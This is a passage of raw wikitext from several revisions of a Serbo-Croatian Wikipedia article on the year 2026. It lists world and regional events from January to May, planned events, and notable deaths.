[[Vladislav Jovanović]]. srpski diplomata (* [[1933]]) * 21. 2. - [[Dan Simmons]], književnik (* [[1948]]) * [[23. 2.]] - [[Dragoljub Dimitrijević]], vajar, profesor FPU (* [[1950]]) * [[25. 2.]] - [[Antonio Tejero]], neuspeli španski pučista (* [[1932]]) * [[27. 2.]] - [[Neil Sedaka]], kantautor, pijanist (* [[1939]]) * [[28. 2.]] - [[Ali Hamenei]], Vrhovni lider Irana (* [[1939]]) === Mart/Ožujak === * [[8. 3.]] - [[B. Wongar]] (Sreten Božić), književnik (* 1932) * 8. 3. - [[Vladimir Rakočević]], matematičar, akademik SANU (* [[1953]]) * [[14. 3.]] - [[Jürgen Habermas]], filozof, socijalni teoretičar (* [[1929]]) * [[17. 3.]] - [[Patrijarh gruzijski Ilija II]] (* [[1933]]) * 17. 3. - [[Ali Laridžani]], iranski političar (* [[1958]]) * [[19. 3.]] - [[Chuck Norris]], glumac, majstor borilačkih vještina (* [[1940]]) * 19. 3. - [[Umberto Bossi]], talijanski političar (* [[1941]]) * [[20. 3.]] - [[Robert Mueller]], bivši šef FBI, specijalni istražilac (* [[1944]]) * 20. 3. - [[Božo Koprivica]], književnik, dramaturg (* [[1950]]) * [[22. 3.]] - [[Lionel Jospin]], bivši francuski premijer (* [[1937]]) * 22. 3. - [[Hermann Huppen]], stripotvorac (* [[1938]]) * 22. 3. - [[Radoje Čupić]], glumac (* [[1958]]) * [[26. 3.]] - [[James Tolkan]], glumac (* [[1931]]) * [[30. 3.]] - [[Carlos Westendorp]], španjolski diplomat, bivši VP u BiH (* [[1937]]) === April/Travanj === * [[5. 4.]] - [[Vlatko Cvrtila]], profesor, gepolitički analitičar (* [[1965]]) * [[6. 4.]] - [[Christian Schwarz-Schilling]], njemački diplomat, bivši VP u BiH (* [[1930]]) * [[8. 4.]] - [[Duško Vujošević]], košarkaški trener (* [[1959]]) * [[9. 4.]] - [[Afrika Bambaataa]], pionir hip-hopa (* [[1957]]) * [[23. 4.]] - [[Rexhep Qosja]], književnik (* [[1936]]) === Maj/Svibanj === * [[1. 5.]] - [[Alex Zanardi]], vozač F1, paraolimpijac (* [[1966]]) * [[6. 5.]] - [[Ted Turner]], osnivač CNN (* [[1938]]) * 6. 5. - [[Vladimir Cvetković]], košarkaš, funkcioner FK Crvena Zvezda (* [[1941]]) * 6. 5. - [[Rajko Kasagić]], bivši premijer RS (* [[1942]]) * [[16. 5.]] - [[Predrag Koraksić]] Corax, karikaturista (* [[1933]]) * 16. 5. - [[Félicien Kabuga]], finansijer genocida u Ruandi (* [[1933]]) * [[21. 5.]] - [[Julienne Bušić]], otmičarka (* [[1948]]) * [[22. 5.]] - [[Dick Parry]], saksofonist ''Pink Floyd''-a (* [[1942]]) * [[26. 5.]] - [[Dragoljub Mićunović]], filozof, srpski političar iz DS, DC (* [[1930]]) == Nobelove nagrade == === Veze === [[Godišnji kalendar]] == Reference == {{izvori}} {{Commonscat}} [[Kategorija:2026.| ]] mz66m9f3e0i5eh5uioz4gyy7dtljt99 42602592 42602591 2026-05-27T18:56:34Z Alekol 2231 /* April/Travanj */ 42602592 wikitext text/x-wiki {{Godina nav|2026}} {{otheruses}} {{Godina u drugim kalendarima|2026}} Godina '''2026''' (MMXXVI) je [[redovna godina koja počinje u četvrtak]]. * UN-ova Međunarodna godina: pašnjaka i stočara; volontera za održivi razvoj; zemljoradnica. * Nove godine: ♞ [[Kineska nova godina|kineska]] 17. 2.; ☪ islamska 16. 6.; ✡ [[Roš Hašana]] 11/12. 9. * Uskrs: ✝ zapadni 5. 4.; 🞣 istočni 12. 4. * Bajram: Ramazanski 20. 3.; Kurban 27. 5. == Događaji == === Januar/Siječanj === * [[1. 1.]] - Bugarska je 21. članica [[eurozona|eurozone]], 1,95583 [[bugarski lev|leva]] za euro. * 1. 1. - Požar u baru u [[Crans-Montana|Crans-Montani]], stradalo je 40 ljudi. * 1. 1. - Demokratski socijalista [[Zohran Mamdani]] je gradonačelnik [[New York]]a. * [[2. 1.]] - Šesti dan protesta u Iranu, iniciranih ekonomskom krizom. [[Donald Trump|Trump]] izjavljuje da će intervenisati ako demonstranti budu ubijani. * 2. 1. - [[Ciudad de la Paz (Ekvatorska Gvineja)|Ciudad de la Paz]] je novi glavni grad [[Ekvatorska Gvineja|Ekvatorske Gvineje]], u kontinentalnom delu zemlje, umesto [[Malabo]]a na ostrvu [[Bioko]]. * 2 - 4. 1. - Jemenski građanski rat: jemenska vlada je uz saudijsku pomoć povratila teritorije izgubljene u ofanzivi Južnog prijelaznog vijeća prošlog mjeseca (muhafaze [[Hadramaut (muhafaza)|Hadramaut]] i [[Al-Mahra (muhafaza)|Al-Mahra]]). Na otoku [[Sokotra]] su blokirani turisti. [[Datoteka:Nicolas Maduro on board the USS Iwo Jima (cropped).jpg|120px|mini|lijevo|[[Nicolás Maduro|Maduro]]]] * [[3. 1.]] - Operacija ''Absolute Resolve'': američki udari u [[Venecuela|Venecueli]] i hvatanje predsednika [[Nicolás Maduro|Nicolása Madura]] i njegove supruge po optužbi za trgovinu narkoticima. Trump izjavljuje da će SAD upravljati zemljom do tranzicije, najavljuje dolazak američkih naftnih kompanija. V.d. predsednika je [[Delcy Rodríguez]]. * [[6. 1.]] - Grenlandska kriza: lideri nekoliko evropskih zemalja reafirmiraju podršku Danskoj i [[Grenland]]u povodom novih američkih potraživanja. * 6. 1. - Kontroverza oko chatbota [[Grok]] koji generira seksualizirane slike žena i djevojčica. * 6 - 10. 1. - Sukob između sirijske prelazne vlade i kurdskih Sirijskih demokratskih snaga u [[Alep]]u - po sporazumu o primirju, SDF napušta grad. Vlada zatim preduzima ofanzivu 13-tog. * [[7. 1.]] - Snage međunarodno priznate jemenske vlade ulaze u [[Aden]]. * [[8. 1.]] - Pojačanje protesta u Iranu, praćeno gašenjem interneta i oružanim suzbijanjem - stradale su hiljade demonstranata. * 8. 1. - Rat u Ukrajini: hipersonična balistička raketa [[Orešnik]] je uveče upotrebljena protiv [[Lavov]]a. * [[14. 1.]] - Zlato je ove sedmice prelazilo 4.600 dolara za uncu, vrhunac 4.638. * [[17. 1.]] - Trump objavljuje da uvodi dodatne carine za osam evropskih zemalja koje učestvuju u vojnoj vežbi ''Arctic Endurance'' i protive se američkom zauzeću Grenlanda (u Davosu 21-og ih otkazuje, kaže da neće primenjivati silu i da je postigao okvirni sporazum sa gen. sek. NATO-a). * 17. 1. - U Paragvaju je potpisan sporazum o slobodnoj trgovini između [[EU]] i [[Mercosur]] (potrebna je ratifikacija). * 17. 1. - Na snazi je sporazum UN o zaštiti oceana (kolokvijalno ''High Seas Treaty''), za očuvanje i održivo korištenje morske bioraznolikosti izvan nacionalne jurisdikcije. * [[20. 1.]] - U Zagrebu prikazan film "[[Svadba (2026.)|Svadba]]" - najgledaniji hrvatski film. * 20. 1. - Politička kriza u Bugarskoj (traje od 2021): predsednik [[Rumen Radev]] je podneo ostavku; potpredsednica [[Ilijana Jotova]] postaje prva žena predsednik 23-ćeg. * [[21. 1.]] - Blokada Filozofskog fakulteta u Novom Sadu zbog otkaza prof. Jeleni Kleut - policija je izbacila iz zgrade studente, profesore i građane. * [[22. 1.]] - Trump i predstavnici nekoliko zemalja su u Davosu potpisali povelju [[Odbor mira|Odbora mira]] (''Board of Peace''), koji je u novembru pomenut u rezoluciji SB UN 2803 kao prelazno upravno i nadzorno telo za Gazu. * 22. 1. - SAD su napustile [[Svjetska zdravstvena organizacija|Svjetsku zdravstvenu organizaciju]]. * [[23. 1.]] - Američki organ je produžio licencu Naftnoj industriji Srbije do 20. februara (mađarski MOL je objavio 19-tog da će preuzeti NIS od Gaspromnjefta). * [[24. 1.]] - Kriza u [[Minneapolis, Minnesota|Minneapolisu]]: nakon Renée Good 7-og, agenti ICE (Sprovođenje imigracije i carina) ubili su i Alexa Prettija. * 10 - [[25. 1.]] - Evropsko prvenstvo u vaterpolu, Beograd: Srbija 1, Hrvatska 6, Crna Gora 7. U all-star timu su [[Milan Glušac]], [[Dušan Mandić]] i [[Strahinja Rašović]]. * [[26. 1.]] - Talačka kriza u Gazi: Izraelci su našli telo poslednjeg taoca. * [[27. 1.]] - Samit EU-Indija u New Delhiju: postignut je sporazum o slobodnoj trgovini (potrebna ratifikacija). * 27. 1. - [[Južni Sudan]]: vladine snage, preds. [[Salva Kiir Mayardit|Salve Kiira]], pokrenule ofanzivu u državi Jonglei kako bi povratile pozicije koje su prošlog meseca zauzele opozicione snage zatvorenog bivšeg potpredsednika [[Riek Machar|Rieka Machara]]. * [[28. 1.]] - Urušavanje rudnika [[koltan]]a Rubaya na istoku DR Kongo: stradalo je preko 400 ljudi. * 28. 1.]] - [[Sarah Mullally]] je prva žena [[nadbiskup Canterburyja]]. * [[29. 1.]] - U [[Konjuh (Kruševac)|Konjuhu]] kod Kruševca zaplenjeno pet tona marihuane. * 29. 1. - Trump je potpisao izvršno naređenje o carini za zemlje koje snabdevaju [[Kuba|Kubu]] naftom; Meksiko je još pre dva dana otkazao isporuku - na Kubi se zaoštrava energetska kriza. * [[30. 1.]] - Predsednik Vučić je potpisao paket od pet izmena i dopuna pravosudnih zakona, tzv. Mrdićeve zakone. [[Datoteka:EFTA00001815 - Stone-walled driveway leads to a luxurious villa with palm trees and a coastal view featuring a black utility vehicle parked on the concrete pad.jpg|mini|Na "Epsteinovom otoku" 2019. ([[Little Saint James]], [[Američki Djevičanski Otoci]])]] * 30. 1. - Ministarstvo pravde SAD je objavilo 3,5 miliona dokumenata u vezi [[Jeffrey Epstein|Jeffreya Epsteina]]; novi fokus na bivšeg princa Andrewa i britanskog političara Petera Mandelsona. * 30. 1. - Nakon što je dostigla 5.500 dolara za uncu, cena zlata pada 9%, najviše od 1983. === Februar/Veljača === * 15. 1. - [[1. 2.]] - [[EHF Euro 2026.]] (Danska, Švedska Norveška): Danska 1, Hrvatska 3, Srbija 19, Crna Gora 23. U all-star timu je [[Mario Šoštarić]]. Doček rukometaša u Zagrebu 2-og je organizirala Vlada RH. * [[3. 2.]] - Islamisti ubili 160-200 ljudi u dva sela u zapadnoj nigerijskoj državi Kwara. * [[5. 2.]] - Istekao ugovor [[Novi START]] o redukciji nuklearnog naoružanja iz 2010. (Rusija je suspendovala učešće 2023). * 5. 2. - U Makedoniji je počela akcija u kojoj je zaplenjeno 40 tona marihuane. * [[6. 2.]] - [[Dow Jones Industrial Average|Dow Jones IA]] je prvi put prešao 50.000. * 6 - 22. 2. - Zimske olimpijske igre u [[Milano|Milanu]] i [[Cortina d'Ampezzo|Cortini d'Ampezzo]]. * [[8. 2.]] - Izbori za predsjednika Republike Srpske (od novembra): nakon ponavljanja glasanja na 136 biračkih mjesta, potvrđena je pobjeda [[Siniša Karan|Siniše Karana]] iz SNSD (inauguracija 17-og). * 8. 2. - Vanredni izbori u [[Japan]]u: [[Liberalna demokratska partija (Japan)|LDP]] premijerke [[Sanae Takaichi]] dobija dvotrećinsku većinu. * 8. 2. - [[Super Bowl]] LX u [[Santa Clara, California|Santa Clari]]: [[Seattle Seahawks]] - [[New England Patriots]] 29:13; u poluvremenu je nastupio portorikanski reper [[Bad Bunny]]. * [[12. 2.]] - Trump opozvao klasifikaciju gasova staklene bašte kao pretnje javnom zdravlju iz 2009, kao i standarde za emisije iz vozila. * 12. 2. - [[Vještačka inteligencija]]: kineska kompanija [[ByteDance]] objavila aplikaciju ''Seedance 2.0'' za generiranje videa - hollywoodski studiji prete tužbom za povredu intelektualnih prava. * [[19. 2.]] - Bivši princ Andrew je bio pritvoren zbog prestupa na javnoj funkciji. * 19. 2. - Bivši južnokorejski predsednik Yoon Suk Yeol osuđen na doživotnu kaznu za pobunu kada je proglasio ratno stanje u decembru 2024. * [[20. 2.]] - Vrhovni sud SAD presudio da predsednik nema pravo da uvodi carine prema zakonu iz 1977 (carine od 2. 4. 2025). Trump sutradan objavljuje globalne carine od 10% po zakonu iz 1962, što ubrzo povećava na 15%. * [[22. 2.]] - Fatalno ranjen ''El Mencho'', lider meksičkog narko-kartela Jalisco Nova Generacija - njegovi ljudi izvode više paljevinskih napada, blokada puteva i sukoba sa vlastima. * [[26. 2.]] - Eskalacija u Konfliktu Pakistana i Afganistana: afganski Talibani napadaju pakistanske položaje (nakon pakistanskih udara od 21-og), Pakistan kaže da je u punom ratu sa Afganistanom. * [[27. 2.]] - MUP objavio da je Hrvatska očišćena od mina. * [[28. 2.]] - Počinje Operacija Lav koji riče/Epska furija, izraelsko-američki udari na Iran sa željom promene režima. ** Ubijen je Vrhovni lider [[Ali Hamenei]] sa još nekoliko vojnih čelnika. Pogođena je škola za devojčice u Minabu na jugu zemlje, iranski mediji izveštavaju o 165 mrtvih. ** Iran uzvraća na Izrael i ciljeve u Persijskom zalivu. === Mart/Ožujak === [[Datoteka:Op epic fury timeline 100hrs - pentagon - mar4 - straight.jpg|mini|Prvih 100 sati rata u Zalivu]] * [[1. 3.]] - Dron pogodio britansku bazu Akrotiri na Kipru. * 1. 3. - Masakru u Abiemnomu na severu [[Južni Sudan|Južnog Sudana]]: omladinci, moguće [[Nuer]]i, napali su [[Dinka (narod)|Dinke]], ubijeno je najmanje 169 ljudi. * [[2. 3.]] - Obnovljen sukob između [[Hezbolah]]a i Izraela. Evakuacije sa juga Libana, gađanje meta na jugu Bejruta. * [[3. 3.]] - Još jedan odron u rudnicima [[koltan]]a Rubaya u prov. [[Nord-Kivu|Severni Kivu]], [[DR Kongo]], sa preko 200 mrtvih (u januaru je stradalo preko 400 ljudi). * [[4. 3.]] - Iranska fregata IRIS Dena je torpedovana blizu Šri Lanke. * [[5. 3.]] - Izbori u [[Nepal]]u, prvi od protesta Gen Z prošlog septembra: skoro dvotrećinska većina za Nacionalnu nezavisnu partiju, repera i gradonačelnika Katmandua [[Balen Shah]]a. * [[6. 3.]] - Kosovska predsednica [[Vjosa Osmani]] raspustila skupštinu dan nakon neuspelog biranja novog predsednika; "[[Samoopredeljenje (politička stranka)|Samoopredeljenje]]" se obraća Ustavnom sudu. * 7/[[8. 3.]] - Pogođeni rezervoari nafte kod Teherana, grad je obavijen dimom, pada crna kiša. Za novog Vrhovnog lidera Irana je izabran sin prethodnog, [[Mojtaba Khamenei]]. * [[9. 3.]] - Cena nafte prelazi 100 dolara po barelu, prvi put od 2022. Promet [[Hormuški tjesnac|Hormuškim tjesnacom]] je znatno otežan. * [[13. 3.]] - Gađane su vojne mete na iranskom ostrvu i naftnom terminalu [[Hark]]. * [[15. 3.]] - [[98. dodjela Oscara]]: najbolji film je ''[[One Battle After Another]]'', ukupno šest nagrada od 13 nominacija, uključujući novu kategoriju za [[kasting]]; ''[[Sinners (film iz 2025.)|Sinners]]'', četiri od rekordnih 16; ''[[Frankenstein (film iz 2025.)|Frankenstein]]'' tri od devet; ''[[KPop Demon Hunters]]'' dve od dve; ''[[Sentimental Value]]'' jedna, međunarodna, od devet; ''[[Hamnet (film)|Hamnet]]'' jedna od osam; ''[[Marty Supreme]]'' ništa od devet. * [[16. 3.]] - U pakistanskom udaru je pogođena bolnica, centar za rehabilitaciju narkomana, u Kabulu - lokalni izvori tvrde da ima na stotine mrtvih. * 16. 3. - Započete su izraelske kopnene operacije na jugu Libana - narednih dana se ruše mostovi na reci [[Litani]]. * 16. 3. - Nestanak struje na celoj Kubi (i opet 21-og). * [[17. 3.]] - U izraelskim napadima u Teheranu, ubijeni su tajnik Vrhovnog vijeća nacionalne sigurnosti [[Ali Laridžani]] i komandant Basidža, paravojne dragovoljačke milicije u okviru Revolucionarne garde, Golamreza Solejmani (sljedeće noći i ministar obavještajnih dijela Esmail Hatib). * [[18. 3.]] - Prvi, izraelski, napad na iransku hidrokarbonsku proizvodnju: najveće gasno polje, Južni Pars, koje deli sa [[Katar]]om. Iran odgovara udarom i velikom štetom na katarskom kompleks Ras Laffan za likvefakciju gasa. Ovo povlači obustavu rada kompanije QAFCO, koja proizvodi 14% svetske [[Urea|uree]].<ref>[https://www.theguardian.com/world/2026/apr/03/visual-guide-gulf-fertiliser-blockade ‘Food security timebomb’: a visual guide to the Gulf fertiliser blockade]. theguardian.com 3 Apr 2026</ref> * [[20. 3.]] - Iranci su ispalili dve rakete prema bazi Diego Garcia u sredini Indijskog okeana - jedna se raspala, druga presretnuta. * 20 - 22. 3. - Svetsko prvenstvo u dvoranskoj atletici, [[Toruń]]: srebro za [[Angelina Topić|Angelinu Topić]] u skoku u vis. * [[21. 3.]] - Nakon što je u Iranu gađano nuklearno postrojenje Natanz, iranske rakete pogađaju izraelska mesta Arad i [[Dimona]], nedaleko od nuklearnog centra. * [[22. 3.]] - Parlamentarni izbori u Sloveniji: vladajuće [[Gibanje Svoboda]] je opalo, ali je jedan mandat ispred Janšine [[Slovenska demokratska stranka|SDS]]. * 22. 3. - Lokalni izbori u Francuskoj, drugi krug. Socijalisti zadržali Pariz. * [[24. 3.]] - Potpisan ugovor o slobodnoj trgovini između EU i Australije. * 25 - 26. 3. - Sud u Novom Meksiku odredio 375 milona dolara globe Meti (Facebook i Instagram) jer je omogućila seksualnu eksploataciju dece; sutradan u Los Angelesu sud nalazi da su Meta i YouTube stvorili adiktivne proizvode koji štete mladim korisnicima. * [[26. 3.]] - Nevrijeme u Hrvatskoj. * 26. 3. - Uveče, studentkinja pala sa petog sprata Filozofskog fakulteta u Beogradu. * [[28. 3.]] - Jemenski Husi su ispalili prvu raketu prema Izraelu tokom Iranskog rata. * [[29. 3.]] - Lokalni izbori u 10 opština Srbije (Aranđelovac, Bajina Bašta, Bor, Kladovo, Knjaževac, Kula, Lučani, Majdanpek, Sevojno, Smederevska Palanka). Bilo je nasilja, [[Srpska napredna stranka|naprednjaci]] uglavnom pobeđuju, sa smanjenom podrškom. * [[31. 3.]] - BiH pobijedila Italiju na penale i plasirala se na Svjetsko prvenstvo; Italija nije uspjela treći put zaredom. === April/Travanj === [[Datoteka:Orion POV- Destination and Home (art002e009567).jpg|mini|[[Artemis II]]: brod Orion, Mĕsec i Zemlja]] * [[1. 4.]] - [[10. 4.]] - NASA-ina misija [[Artemis II]], sa posadom oko Meseca, prva iznad niske orbite od 1972; 6/7. 4. su obišli oko Meseca, na rekordnoj udaljenosti od 406.771 km od Zemlje. * [[3. 4.]] - U Iranu je oboren američki [[McDonnell Douglas F-15E Strike Eagle|F-15E]]: pilot je ubrzo spasen a oficir za oružne sisteme 5-tog (prilikom spašavanja Amerikanci uništili dva svoja aviona [[Lockheed C-130 Hercules|C-130]] i dva mala helikoptera [[MD Helicopters MH-6 Little Bird|MH-6]]). Oboren i [[Fairchild Republic A-10 Thunderbolt II|A-10]] kod Hormuškog tjesnaca. * [[5. 4.]] - Objavljeno da je blizu [[Kanjiža|Kanjiže]] pronađen eksploziv kod gasovoda koji vodi prema Mađarskoj. * [[7. 4.]] - Trump: "jedna civilizacija će umreti večeras" ako Iran ne prihvati sporazum. Sledeće noći je dogovoreno primirje na dva tjedna i otvaranje Tjesnaca. * [[8. 4.]] - Izrael smatra da Liban nije obuhvaćen primirjem, u jakim udarcima na Bejrut je stradalo preko 200 ljudi. Iran zatvara Tjesnac i gađa zaljevske zemlje. * [[12. 4.]] - Bez rezultata u pregovorima SAD-Iran u Islamabadu; Trump objavljuje blokadu Hormuškog tjesnaca. [[Datoteka:Bastion of Hungarian Freedom 2026 (44).jpg|mini|Budimpešta 2026.]] * 12. 4. - Parlamentarni izbori u Mađarskoj: partija ''Tisza'' [[Péter Magyar|Pétera Magyara]] pobjeđuje sa dvotrećinskom većinom zastupnika; [[Viktor Orbán|Orbán]] i [[Fidesz]] su proveli četiri mandata i 16 godina na vlasti. * [[13. 4.]] - SAD uvele pomorsku blokadu Irana. * [[16. 4.]] - Prvi ukrajinski napad na rafineriju i naftni terminal u [[Tuapse]]u, na crnomorskoj ruskoj obali - još tri talasa do 2. maja izazivaju veliku materijalnu i ekološku štetu. * [[17. 4.]] - Iran otvara Tjesnac tijekom lebanonskog primirja, ali ga zatvara već sutradan zbog nastavljene američke blokade. * [[19. 4.]] - Izbori u Bugarskoj, osmi za pet godina: Progresivna Bugarska bivšeg predsednika [[Rumen Radev|Radeva]] dobija apsolutnu većinu mandata. * [[23. 4.]] - Deblokirana pomoć EU od 90 milijardi eura za Ukrajinu. * [[25. 4.]] - [[Rat u Maliju]] i [[Rat u Sahelu]]: koordinirani napadi džihadista iz JNIM i [[Azavad|tuareških pobunjenika]] u više gradova [[Mali]]ja. * 25. 4. - Čovek je pucao blizu Večere dopisnika iz Bele kuće, kojoj su prisustvovali i čelnici SAD. * [[26. 4.]] - [[Sabastian Sawe]] je istrčao Londonski maraton za manje od dva sata. * [[28. 4.]] - RH i BiH potpisali u Dubrovniku sporazum o gradnji plinovoda [[Južna interkonekcija]]. * 28. 4. - Kosovski parlament ne uspeva izabrati novog predsednika - raspušten je, izbori će biti u junu. === Maj/Svibanj === * [[1. 5.]] - [[Ujedinjeni Arapski Emirati]] su napustili [[OPEC]]. * [[2. 5.]] - Ministarstvo obrane SAD objavilo da će povući 5.000 vojnika iz Njemačke (od ca. 36.000). * 2. 5. - Na holandskom kruzeru ''MV Hondius'' na Atlantiku je umrla druga osoba od [[hantavirus]]a, treća ukupno (brod stiže na Tenerife 10-tog, odakle ide evakuacija). * [[4. 5.]] - Američka operacija ''Project Freedom'': pratnja brodova u [[Hormuški tjesnac|Hormuškom tjesnacu]] (sutradan pauzirana). Iranci su gađali naftnu luku u Al Fudžajri. * [[7. 5.]] - Lokalni izbori u UK: uspeh za [[Reform UK]] i Zelene. Nacionalistički [[Plaid Cymru]] ima najviše mandata u Velškoj skupštini (laburisti su bili dominantni od 1922). U Škotskoj je pobedila [[Škotska nacionalna stranka]]. Veliki gubici za vladajuće laburiste na lokalu u Engleskoj. * [[11. 6.]] - [[Christian Schmidt]] potvrđuje da odlazi s pozicije [[Ured visokog predstavnika za Bosnu i Hercegovinu|OHR]]. * 13 - 15. 5. - Trumpova državna poseta Kini. * [[14. 5.]] - Kriza na Kubi: ministar energije izjavljuje da nema više nafte i dizela. * 14. 5. - Potvrđena epidemija Bundibugyo, /bundibudžo/, [[ebola|ebole]] u provinciji [[Ituri]] DR Kongo (moguće da je počela još pre dva meseca). Bolest je prisutna i u Ugandi. [[SZO]] 17-tog objavljuje vanrednu situaciju od međunarodnog interesa. * 14. 5. - U napadu na Kijev ima 24 mrtvih, Ukrajina tri dana kasnije upućuje rafal prema Moskvi i Bjelgorodu. * [[15. 5.]] - Uhapšen načelnik beogradske policije Veselin Milić i još 11 osoba, među kojima tri policajca, tri dana nakon pucnjave u restoranu „27" na [[Senjak]]u i nestanka 52-godišnjeg muškarca (telo pronađeno u buretu, 21-og u Inđiji). * 12 - [[16. 5.]] - Pesma Evrovizije u Beču. Pet zemalja bojkotira zbog učešća Izraela. Prva je [[Dara (bugarska pjevačica)|Dara]] iz Bugarske ("Bangaranga"), 15. Lelek iz Hrvatske ("Andromeda"), 17. Lavina iz Srbije ("Kraj mene"). * [[18. 5.]] - Tužba protiv Službe unutrašnjih prihoda (IRS) od strane preds. Trumpa i njegovih sinova rešena nagodbom: vlada SAD formira fond od blizu 1,8 milijardi dolara, ''Anti-Weaponization Fund'', za nadoknadu predsednikovim saveznicima koji tvrde da su nepravedno istraživani. U dodatku nagodbe se kaže da IRS prekida sve preglede poreskih prijava. * [[20. 5.]] - Vazdušna uzbuna u [[Vilnius]]u zbog drona blizu beloruske granice. * 20. 5. - Velika porota u Majamiju optužila [[Raúl Castro|Raúla Castra]] i dr. za ubistvo u obaranju dve emigrantske cesne 1996. * [[23. 5.]] - Miting "Ti i ja, Slavija", u Beogradu, sa preko 180.000 okupljenih. Sukobi kod Pionirskog parka. Železnički saobraćaj u zemlji obustavljen ranije tokom dana. * [[24. 5.]] - Rusija gađala Ukrajinu sa 600 dronova i 90 raketa, uključujući hipersonični Orešnik, dva dana nakon što je u Starobjeljsku u Luganskoj oblasti pogođen pedagoški univerzitet, sa 21 žrtvom. == Predviđeni događaji == * [[7. 6.]] - Vanredni izbori na Kosovu. * 11. 6. - 19. 7. - FIFA Svetski kup u Severnoj Americi. * [[12. 8.]] - Totalno [[pomračenje Sunca]], u sh. krajevima prekriveno preko 90% diska<ref>[http://eclipse.gsfc.nasa.gov/SEsearch/SEsearchmap.php?Ecl=20260812 Total Solar Eclipse of 2026 August 12] {{Webarchive|url=https://web.archive.org/web/20150320164625/http://eclipse.gsfc.nasa.gov/SEsearch/SEsearchmap.php?Ecl=20260812 |date=2015-03-20 }}, ''NASA''</ref>. * [[29. 8.]] - Referendum o nastavku pregovora o članstvu [[Island]]a u EU. * [[4. 10.]] - Izbori u BiH. * [[19. 10.]] - Referendum sa 10 pitanja u kanadskoj provinciji [[Alberta]], među kojima i da li treba raspisati referendum o nezavisnosti. * [[3. 11.]] - Izbori na sredini mandata u SAD. * 19. 11. - Najavljena igra ''[[Grand Theft Auto VI]]''. === Nepoznati datumi === * jesen? - Vanredni izbori u Srbiji? == Rođenja == == Smrti == {{glavni članak|:Kategorija:Umrli 2026.}} === Januar/Siječanj === * [[1. 1.]] - [[Nexhat Daci]], kosovski političar, akademik ANUK (* [[1944]]) * [[2. 1.]] - [[Dejan Đurović]], glumac, spiker, voditelj (* [[1938]]) * [[5. 1.]] - [[Aldrich Ames]], špijun (* [[1941]]) * [[10. 1.]] - [[Erich von Däniken]], ufolog (* [[1935]]) * [[19. 1.]] - [[Valentino Garavani|Valentino]], modni kreator (* [[1932]]) * 19. 1. - [[Senka Veletanlić]], pevačica, glumica (* [[1936]]) * [[20. 1.]] - [[Beti Đorđević]], pevačica (* [[1946]]) * [[23. 1.]] - [[Dalibor Brun]], pjevač (* 1944) * [[30. 1.]] - [[Catherine O'Hara]], glumica (* [[1954]]) === Februar/Veljača === * [[3. 2.]] - [[Saif al-Islam Gaddafi]], libijski političar (* [[1972]]) * [[6. 2.]] - [[Miro Vuksanović]], književnik, akademik SANU (* [[1944]]) * [[7. 2.]] - [[Gordana Marić]], glumica, profesorka FDU (* * [[13. 2.]] - [[Ljiljana Pavić]], scenaristkinja (* [[1938]]) * 13. 2. - [[Tatjana Ječmenica]], teniserka, trener, selektor (* [[1978]]) * [[15. 2.]] - [[Robert Duvall]], glumac (* [[1931]]) * [[17. 2.]] - [[Jesse Jackson]], aktivist za ljudska prava (* [[1941]]) * [[18. 2.]] - [[Borislav Paravac]], bivši član Predsjedništva BiH (* [[1943]]) * 18. 2. - Ljiljana Zelen Karadžić (* [[1945]]) * [[20. 2.]] - [[Mirjana Kapetanović]], bh. književnica i novinarka (* [[1959]]) * [[21. 2.]] - [[Vladislav Jovanović]]. srpski diplomata (* [[1933]]) * 21. 2. - [[Dan Simmons]], književnik (* [[1948]]) * [[23. 2.]] - [[Dragoljub Dimitrijević]], vajar, profesor FPU (* [[1950]]) * [[25. 2.]] - [[Antonio Tejero]], neuspeli španski pučista (* [[1932]]) * [[27. 2.]] - [[Neil Sedaka]], kantautor, pijanist (* [[1939]]) * [[28. 2.]] - [[Ali Hamenei]], Vrhovni lider Irana (* [[1939]]) === Mart/Ožujak === * [[8. 3.]] - [[B. Wongar]] (Sreten Božić), književnik (* 1932) * 8. 3. - [[Vladimir Rakočević]], matematičar, akademik SANU (* [[1953]]) * [[14. 3.]] - [[Jürgen Habermas]], filozof, socijalni teoretičar (* [[1929]]) * [[17. 3.]] - [[Patrijarh gruzijski Ilija II]] (* [[1933]]) * 17. 3. - [[Ali Laridžani]], iranski političar (* [[1958]]) * [[19. 3.]] - [[Chuck Norris]], glumac, majstor borilačkih vještina (* [[1940]]) * 19. 3. - [[Umberto Bossi]], talijanski političar (* [[1941]]) * [[20. 3.]] - [[Robert Mueller]], bivši šef FBI, specijalni istražilac (* [[1944]]) * 20. 3. - [[Božo Koprivica]], književnik, dramaturg (* [[1950]]) * [[22. 3.]] - [[Lionel Jospin]], bivši francuski premijer (* [[1937]]) * 22. 3. - [[Hermann Huppen]], stripotvorac (* [[1938]]) * 22. 3. - [[Radoje Čupić]], glumac (* [[1958]]) * [[26. 3.]] - [[James Tolkan]], glumac (* [[1931]]) * [[30. 3.]] - [[Carlos Westendorp]], španjolski diplomat, bivši VP u BiH (* [[1937]]) === April/Travanj === * [[5. 4.]] - [[Vlatko Cvrtila]], profesor, gepolitički analitičar (* [[1965]]) * [[6. 4.]] - [[Christian Schwarz-Schilling]], njemački diplomat, bivši VP u BiH (* [[1930]]) * [[8. 4.]] - [[Duško Vujošević]], košarkaški trener (* [[1959]]) * [[9. 4.]] - [[Afrika Bambaataa]], pionir hip-hopa (* [[1957]]) * [[23. 4.]] - [[Rexhep Qosja]], književnik (* [[1936]]) === Maj/Svibanj === * [[1. 5.]] - [[Alex Zanardi]], vozač F1, paraolimpijac (* [[1966]]) * [[6. 5.]] - [[Ted Turner]], osnivač CNN (* [[1938]]) * 6. 5. - [[Vladimir Cvetković]], košarkaš, funkcioner FK Crvena Zvezda (* [[1941]]) * 6. 5. - [[Rajko Kasagić]], bivši premijer RS (* [[1942]]) * [[16. 5.]] - [[Predrag Koraksić]] Corax, karikaturista (* [[1933]]) * 16. 5. - [[Félicien Kabuga]], finansijer genocida u Ruandi (* [[1933]]) * [[21. 5.]] - [[Julienne Bušić]], otmičarka (* [[1948]]) * [[22. 5.]] - [[Dick Parry]], saksofonist ''Pink Floyd''-a (* [[1942]]) * [[26. 5.]] - [[Dragoljub Mićunović]], filozof, srpski političar iz DS, DC (* [[1930]]) == Nobelove nagrade == === Veze === [[Godišnji kalendar]] == Reference == {{izvori}} {{Commonscat}} [[Kategorija:2026.| ]] h9my5z825z0opae6fp6tmyc69x2vxl2 42602595 42602592 2026-05-27T19:04:29Z Alekol 2231 /* Smrti */ 42602595 wikitext text/x-wiki {{Godina nav|2026}} {{otheruses}} {{Godina u drugim kalendarima|2026}} 